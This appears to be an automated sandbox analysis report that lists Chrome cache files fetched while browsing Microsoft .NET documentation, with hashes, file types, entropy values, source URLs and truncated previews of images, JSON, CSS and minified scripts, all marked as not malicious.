Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzISEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	downloaded
Size (bytes):	207935
Entropy (8bit):	5.420780972514107
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVliMTqwK:Wof3G0NSkNzMeO7z/l3lhTa
MD5:	3DE400B2682E30C3F33FA4B93116491F
SHA1:	BC48B898DF43BA2178DE28F5A29D977B2204F846
SHA-256:	84E9EAD32EFA16BE0D5B2407F799FC3DAE497BCB4A90758C0106C8D8F55003FE
SHA-512:	D4004E4A62A81116D346B7A7F95FC67F97A258E82B3BDDBF4A9F28CEBB633E4A336A17057A765DA306AD9B1E40A99FE349D698B095A6F386B9CDF4A46457FC06
Malicious:	false
URL:	https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	18477
Entropy (8bit):	5.147347768532056
Encrypted:	false
SSDEEP:	384:cF3MGvRvqhjNLN1RlX+Vqn3wj2pC33qr3h3x7Z04519u2/8Xx7kuFg/F3Bo3h16z:63MGpvqhj/rlOVqnACpK3o3hhl0OU2/x
MD5:	9A6B01877BAAC986FE1FBF4CAA95E7C7
SHA1:	A3227894EACEB2177EEE7CF66A693A9B4C0971FE
SHA-256:	12051CF7967A2E3F39971EC7F48D1892EB7138F7D1F7E5A3407D63E257EBE7AC
SHA-512:	5DBDA31E67FE480385283A63F8C2D0CE5E1B2A04A23917F65F0EC6867A9D95C93E4B50807D42D65718EF01588AA523FE791A0A1BD0663BB5DC9BED5E43995AB2
Malicious:	false
URL:	https://learn.microsoft.com/en-us/banners/index.json
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	4.241202481433726
Encrypted:	false
SSDEEP:	3:YozDD/RNgQJzRWWlKFiFD3e4xCzY:YovtNgmzR/wYFDxkY
MD5:	9E576E34B18E986347909C29AE6A82C6
SHA1:	532C767978DC2B55854B3CA2D2DF5B4DB221C934
SHA-256:	88BDF5AF090328963973990DE427779F9C4DF3B8E1F5BADC3D972BAC3087006D
SHA-512:	5EF6DCFFD93434D45760888BF4B95FF134D53F34DA9DC904AD3C5EBEDC58409073483F531FEA4233869ED3EC75F38B022A70B2E179A5D3A13BDB10AB5C46B124
Malicious:	false
Preview:	{"Message":"The requested resource does not support http method 'GET'."}

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-recommended-changes.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (52717), with no line terminators
Category:	dropped
Size (bytes):	52717
Entropy (8bit):	5.462668685745912
Encrypted:	false
SSDEEP:	1536:tjspYRrxlhd0fq3agV3IcgPPPI3r7DAQHCloIB3Tj7xHw:tjZLCtxQ
MD5:	413FCC759CC19821B61B6941808B29B5
SHA1:	1AD23B8A202043539C20681B1B3E9F3BC5D55133
SHA-256:	DAF7759FEDD9AF6C4D7E374B0D056547AE7CB245EC24A1C4ACF02932F30DC536
SHA-512:	E9BF8A74FEF494990AAFD15A0F21E0398DC28B4939C8F9F8AA1F3FFBD18056C8D1AB282B081F5C56F0928C48E30E768F7E347929304B55547F9CA8C1AABD80B8
Malicious:	false
Preview:	var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(e,t){if(1&t&&(e=o(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var r in e)o.d(n,r,function(t){return e[t]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=3)}([function(e,t,o)

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1432
Entropy (8bit):	4.986131881931089
Encrypted:	false
SSDEEP:	24:TGAcSRrEV4YUmjiqIWD5bfD9yRSmkYR/stZLKvVqXRRlAfr6VXBAuU:Ti4IV4YUmjiqr9bfskAmZTXGfSXqh
MD5:	6B8763B76F400DC480450FD69072F215
SHA1:	6932907906AFCF8EAFA22154D8478106521BC9EE
SHA-256:	3FB84D357F0C9A66100570EDD62A04D0574C45E8A5209A3E6870FF22AF839DFC
SHA-512:	8A07EBB806A0BA8EF54B463BD6AF37C77A10C1FA38A57128FD90FCB2C16DF71CE697D4FE65C623E5C6054C5715975831C36861D5574F59DF28836D9BC2B0BC22
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/global/deprecation.js
